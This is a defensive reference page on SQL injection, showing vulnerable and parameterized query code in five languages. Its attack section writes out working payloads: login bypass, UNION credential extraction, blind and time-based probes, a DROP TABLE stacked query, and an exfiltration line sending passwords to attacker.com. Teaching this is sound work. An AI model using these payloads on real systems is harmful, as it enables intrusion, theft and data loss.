SQL Injection Prevention Reference

Attack types, real-world examples, per-language secure code patterns, and a detection checklist.

Attack Types

In-band (Classic) most common

The attacker uses the same communication channel to launch the attack and gather results. Sub-types:

Sub-typeMechanismExample
Error-basedForces the DB to throw errors that reveal structure' OR 1=1 --
Union-basedAppends UNION SELECT to pull data from other tables' UNION SELECT username,password FROM users --

Blind subtle

No data is returned directly. The attacker infers success from indirect cues — page differences, response times, or HTTP status.

Sub-typeMechanismExample
Boolean-basedSends queries that evaluate to TRUE/FALSE; observes page changes' AND 1=1 -- vs ' AND 1=2 --
Time-basedUses SLEEP()/pg_sleep() to infer truth from delay' AND IF(1=1,SLEEP(5),0) --

Out-of-band (OOB) advanced

Data is exfiltrated through a different channel — DNS lookups, HTTP requests, or email triggered by the DB engine.

Example: '; EXEC master..xp_dirtree '\\\\attacker.com\\'+(SELECT TOP 1 password FROM users)+'.share' --

Attack Examples

Authentication Bypass

A login form that concatenates user input directly into SQL:

SELECT * FROM users WHERE user='__INPUT__' AND pass='__INPUT__' → attacker enters → admin' --
sqlCopy-- Resulting query:
SELECT * FROM users WHERE user='admin' --' AND pass=''

-- Everything after -- is a comment. Password check is skipped.

Data Exfiltration via UNION

An endpoint that filters by ID but doesn't limit columns:

sqlCopy-- Vulnerable query:
SELECT name, email FROM users WHERE id = USER_INPUT

-- Attacker input:  1 UNION SELECT username, password FROM admins --
SELECT name, email FROM users WHERE id = 1
UNION SELECT username, password FROM admins --

Blind Boolean Enumeration

Extracting data one bit at a time by observing different responses:

sqlCopy-- Does the admin password start with 'a'?
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a' --

-- Attacker iterates through characters until the page
-- returns "normal" content (TRUE branch).

Second-Order Injection

Payload is stored harmlessly at first, then executed later when used in a different query:

sqlCopy-- Step 1: Attacker registers username  admin'--
-- Stored safely in the users table.

-- Step 2: Admin runs a password reset script:
UPDATE users SET password = 'NEW' WHERE username = 'admin'--'

-- The -- comments out the trailing quote, changing
-- the REAL admin's password instead.

Stacked Queries

Some configurations allow multiple statements separated by ;:

sqlCopy-- Vulnerable: query = "SELECT * FROM products WHERE id = " + input
-- Attacker input:  1; DROP TABLE users; --
SELECT * FROM products WHERE id = 1; DROP TABLE users; --

Prevention Strategies

1. Parameterized Queries (Prepared Statements) primary defense

Separates SQL logic from data. The database treats parameters as values, never as executable SQL — even if they contain SQL syntax.

pseudoCopy-- Instead of string concatenation:
"SELECT * FROM users WHERE id = " + userInput

-- Use placeholders (? or $1 or :id):
"SELECT * FROM users WHERE id = ?"
-- The DB driver binds userInput as a literal value.

2. ORM / Query Builder recommended

Object-Relational Mappers and query builders abstract SQL construction. They parameterize by default and reduce the chance of raw string concatenation.

LanguagePopular ORMQuery Builder
Node.jsPrisma, TypeORM, SequelizeKnex
PythonDjango ORM, SQLAlchemypsycopg2 execute_values
PHPEloquent (Laravel), DoctrineLaravel Query Builder
JavaHibernate, JPAjOOQ
GoGORM, Entsquirrel, goqu

3. Input Validation & Allowlisting defense in depth

  • Validate type, length, format, and range on every input
  • Use allowlists (not blocklists) for expected values
  • Reject or sanitize unexpected characters for the specific field (e.g., IDs should be numeric)
  • Apply validation server-side — client-side is trivially bypassed
pseudoCopy// Allowlist example for sort column
const allowedSort = ['name', 'email', 'created_at'];
const sort = allowedSort.includes(userSort) ? userSort : 'created_at';
// Never inject userSort directly into SQL

4. Escaping (Last Resort) not sufficient alone

Escaping adds backslashes or replaces special characters. It is fragile and context-dependent (MySQL vs PostgreSQL vs MSSQL). Prefer parameterized queries.

pseudoCopy// If you absolutely must escape:
// MySQL:  mysql_real_escape_string($input)
// pg:     pg_escape_string($input)
// But even these have edge cases with certain charsets.
// Use prepared statements instead.

5. Additional Layers

LayerWhat It Does
Least-privilege DB userApp connects with a user that cannot DROP tables or read unrelated schemas
WAF rulesBlocks obvious SQL keywords in input (defense in depth, not primary)
Stored proceduresCan parameterize internally, but only if they don't concatenate dynamically
Rate limitingSlows down blind/time-based enumeration

Node.js examples

node.jsCopy// ❌ VULNERABLE — string concatenation
const [rows] = await pool.execute(
  `SELECT * FROM users WHERE email = '${req.body.email}'`
);

// ✅ SAFE — parameterized query with mysql2
const [rows] = await pool.execute(
  'SELECT * FROM users WHERE email = ?',
  [req.body.email]
);

// ✅ SAFE — named placeholders (mysql2)
const [rows] = await pool.execute(
  'SELECT * FROM users WHERE id = :id AND status = :status',
  { id: req.params.id, status: 'active' }
);
node.jsCopy// ✅ SAFE — Sequelize ORM (parameterized internally)
const user = await User.findOne({
  where: { email: req.body.email }
});

// ✅ SAFE — Sequelize with operators
const { Op } = require('sequelize');
const users = await User.findAll({
  where: {
    name: { [Op.iLike]: `%${req.query.search}%` }
  }
});

// ✅ SAFE — raw replacement (Sequelize.bind)
const results = await sequelize.query(
  'SELECT * FROM users WHERE id = $1',
  { bind: [req.params.id], type: sequelize.QueryTypes.SELECT }
);
node.jsCopy// ✅ SAFE — pg module with parameterized queries
const { Pool } = require('pg');
const pool = new Pool();

// Positional parameters ($1, $2, ...)
const result = await pool.query(
  'SELECT * FROM users WHERE email = $1 AND active = $2',
  [req.body.email, true]
);

// ✅ SAFE — prepared statement (reuse plan)
const name = 'get-user';
const text = 'SELECT * FROM users WHERE id = $1';
const values = [req.params.id];
const result = await pool.query({ name, text, values });
node.jsCopy// ✅ SAFE — Knex query builder
const knex = require('knex')({ client: 'pg', connection });

// Simple where
const user = await knex('users')
  .where({ email: req.body.email })
  .first();

// Dynamic column (allowlist!)
const sortCols = ['name', 'email', 'created_at'];
const sortCol = sortCols.includes(req.query.sort) ? req.query.sort : 'created_at';
const users = await knex('users')
  .orderBy(sortCol, req.query.order === 'desc' ? 'desc' : 'asc')
  .limit(50);

Python examples

pythonCopyimport sqlite3

conn = sqlite3.connect('app.db')

# ❌ VULNERABLE
conn.execute(f"SELECT * FROM users WHERE email = '{email}'")

# ✅ SAFE — positional placeholder (?)
conn.execute(
    "SELECT * FROM users WHERE email = ?",
    (email,)
)

# ✅ SAFE — with dict-style
conn.execute(
    "SELECT * FROM users WHERE id = :id",
    {"id": user_id}
)
pythonCopyimport psycopg2

conn = psycopg2.connect(dsn)

# ✅ SAFE — %s placeholders (NOT Python f-string %s)
cur = conn.cursor()
cur.execute(
    "SELECT * FROM users WHERE email = %s AND active = %s",
    (email, True)
)

# ✅ SAFE — named placeholders
cur.execute(
    "SELECT * FROM users WHERE id = %(id)s",
    {"id": user_id}
)

# ✅ SAFE —批量insert with execute_values
from psycopg2.extras import execute_values
execute_values(
    cur,
    "INSERT INTO logs (user_id, action) VALUES %s",
    [(uid, action) for uid, action in events]
)
pythonCopyfrom sqlalchemy import create_engine, text

engine = create_engine("postgresql://...")

# ✅ SAFE — SQLAlchemy text() with :param
with engine.connect() as conn:
    result = conn.execute(
        text("SELECT * FROM users WHERE email = :email"),
        {"email": email}
    )

# ✅ SAFE — ORM session query
from sqlalchemy import select
stmt = select(User).where(User.email == email)
user = session.scalars(stmt).first()

# ✅ SAFE — bulk insert
conn.execute(
    text("INSERT INTO events (type, data) VALUES (:type, :data)"),
    [{"type": t, "data": d} for t, d in events]
)
pythonCopy# ✅ SAFE — Django ORM (parameterized internally)
user = User.objects.get(email=request.POST['email'])

# ✅ SAFE — filtered queryset
users = User.objects.filter(
    name__icontains=request.GET['q'],
    is_active=True,
)

# ✅ SAFE — raw SQL with params
from django.db import connection
with connection.cursor() as cur:
    cur.execute(
        "SELECT * FROM users WHERE email = %s",
        [request.POST['email']]
    )
    rows = cur.fetchall()

# ❌ NEVER do this in Django:
# cur.execute("SELECT * FROM users WHERE email = '%s'" % email)

PHP examples

phpCopy<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', $user, $pass);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

// ❌ VULNERABLE
$pdo->query("SELECT * FROM users WHERE email = '" . $_POST['email'] . "'");

// ✅ SAFE — positional placeholder
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = ?');
$stmt->execute([$_POST['email']]);

// ✅ SAFE — named placeholder
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id AND status = :status');
$stmt->execute([':id' => $id, ':status' => 'active']);

// ✅ SAFE — INSERT
$stmt = $pdo->prepare('INSERT INTO users (name, email) VALUES (:name, :email)');
$stmt->execute([':name' => $name, ':email' => $email]);
phpCopy<?php
$mysqli = new mysqli('localhost', $user, $pass, 'app');

// ✅ SAFE — prepared statement
$stmt = $mysqli->prepare('SELECT * FROM users WHERE email = ?');
$stmt->bind_param('s', $_POST['email']);  // 's' = string
$stmt->execute();
$result = $stmt->get_result();

// ✅ SAFE — multiple types: s=string, i=integer, d=double, b=blob
$stmt = $mysqli->prepare('SELECT * FROM users WHERE id = ? AND role = ?');
$stmt->bind_param('is', $id, $role);
$stmt->execute();

// ✅ SAFE — INSERT
$stmt = $mysqli->prepare('INSERT INTO logs (user_id, action) VALUES (?, ?)');
$stmt->bind_param('is', $userId, $action);
$stmt->execute();
phpCopy// ✅ SAFE — Eloquent ORM (parameterized internally)
$user = User::where('email', $request->input('email'))->first();

// ✅ SAFE — query builder
$users = DB::table('users')
    ->where('name', 'like', '%' . $request->query('q') . '%')
    ->where('active', true)
    ->get();

// ✅ SAFE — raw with bindings
$users = DB::select(
    'SELECT * FROM users WHERE email = ? AND role = ?',
    [$email, $role]
);

// ✅ SAFE — named bindings
$users = DB::select(
    'SELECT * FROM users WHERE id = :id',
    ['id' => $id]
);

Java examples

javaCopy// ❌ VULNERABLE
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(
    "SELECT * FROM users WHERE email = '" + email + "'"
);

// ✅ SAFE — PreparedStatement with positional params (?)
String sql = "SELECT * FROM users WHERE email = ? AND active = ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, email);
stmt.setBoolean(2, true);
ResultSet rs = stmt.executeQuery();

// ✅ SAFE — INSERT
String insert = "INSERT INTO users (name, email) VALUES (?, ?)";
PreparedStatement stmt = conn.prepareStatement(insert);
stmt.setString(1, name);
stmt.setString(2, email);
stmt.executeUpdate();

// ✅ SAFE — IN clause workaround (use a library or build placeholders)
List<String> ids = List.of("1", "2", "3");
String placeholders = String.join(",", Collections.nCopies(ids.size(), "?"));
String sql = "SELECT * FROM users WHERE id IN (" + placeholders + ")";
PreparedStatement stmt = conn.prepareStatement(sql);
for (int i = 0; i < ids.size(); i++) {
    stmt.setString(i + 1, ids.get(i));
}
javaCopy// ✅ SAFE — Spring JdbcTemplate (parameterized internally)
@Autowired JdbcTemplate jdbc;

// Simple query
User user = jdbc.queryForObject(
    "SELECT * FROM users WHERE email = ?",
    (rs, rowNum) -> new User(rs.getString("name"), rs.getString("email")),
    email
);

// Multiple params
List<User> users = jdbc.query(
    "SELECT * FROM users WHERE role = ? AND active = ?",
    (rs, rowNum) -> mapUser(rs),
    role, true
);

// ✅ SAFE — NamedParameterJdbcTemplate
@Autowired NamedParameterJdbcTemplate namedJdbc;

Map<String, Object> params = Map.of("email", email, "status", "active");
List<User> users = namedJdbc.query(
    "SELECT * FROM users WHERE email = :email AND status = :status",
    params,
    (rs, rowNum) -> mapUser(rs)
);
javaCopy// ✅ SAFE — Spring Data JPA Repository
public interface UserRepository extends JpaRepository<User, Long> {
    User findByEmail(String email);

    @Query("SELECT u FROM User u WHERE u.name LIKE %:keyword%")
    List<User> searchByName(@Param("keyword") String keyword);
}

// ✅ SAFE — JPA Criteria API
CriteriaBuilder cb = em.getCriteriaBuilder();
CriteriaQuery<User> cq = cb.createQuery(User.class);
Root<User> root = cq.from(User.class);
cq.where(cb.equal(root.get("email"), email));
List<User> users = em.createQuery(cq).getResultList();

// ✅ SAFE — Native query with positional params
@Query(value = "SELECT * FROM users WHERE email = ?1", nativeQuery = true)
User findByEmailNative(String email);

Go examples

goCopyimport "database/sql"

// ❌ VULNERABLE
db.Query(fmt.Sprintf("SELECT * FROM users WHERE email = '%s'", email))

// ✅ SAFE — positional parameters
row := db.QueryRow("SELECT name FROM users WHERE email = $1", email)
var name string
if err := row.Scan(&name); err != nil {
    log.Fatal(err)
}

// ✅ SAFE — MySQL uses ? placeholder
rows, err := db.Query("SELECT id, name FROM users WHERE role = ? AND active = ?", role, true)

// ✅ SAFE — INSERT
_, err = db.Exec(
    "INSERT INTO users (name, email) VALUES (?, ?)",
    name, email,
)

// ✅ SAFE — IN clause (build placeholders dynamically)
ids := []any{1, 2, 3}
placeholders := strings.Repeat("?,", len(ids))
placeholders = placeholders[:len(placeholders)-1]
query := fmt.Sprintf("SELECT * FROM users WHERE id IN (%s)", placeholders)
rows, err := db.Query(query, ids...)
goCopyimport "gorm.io/gorm"

// ✅ SAFE — GORM (parameterized internally)
var user User
db.Where("email = ?", email).First(&user)

// ✅ SAFE — struct conditions
db.Where(&User{Email: email}).First(&user)

// ✅ SAFE — search with LIKE
db.Where("name LIKE ?", "%"+keyword+"%").Find(&users)

// ✅ SAFE — raw SQL with params
var users []User
db.Raw("SELECT * FROM users WHERE role = ? AND active = ?", role, true).Scan(&users)

// ✅ SAFE — create
db.Create(&User{Name: name, Email: email})
goCopyimport "github.com/jmoiron/sqlx"

// ✅ SAFE — sqlx positional params
var user User
err := sqlx.Get(db, &user, "SELECT * FROM users WHERE email = $1", email)

// ✅ SAFE — sqlx named params
err := sqlx.NamedGet(db, &user,
    "SELECT * FROM users WHERE email = :email",
    map[string]any{"email": email},
)

// ✅ SAFE — IN clause with sqlx.In
ids := []int64{1, 2, 3}
query, args, err := sqlx.In("SELECT * FROM users WHERE id IN (?)", ids)
rows, err := db.Queryx(query, args...)

Detection & Prevention Checklist

Click items to mark as reviewed.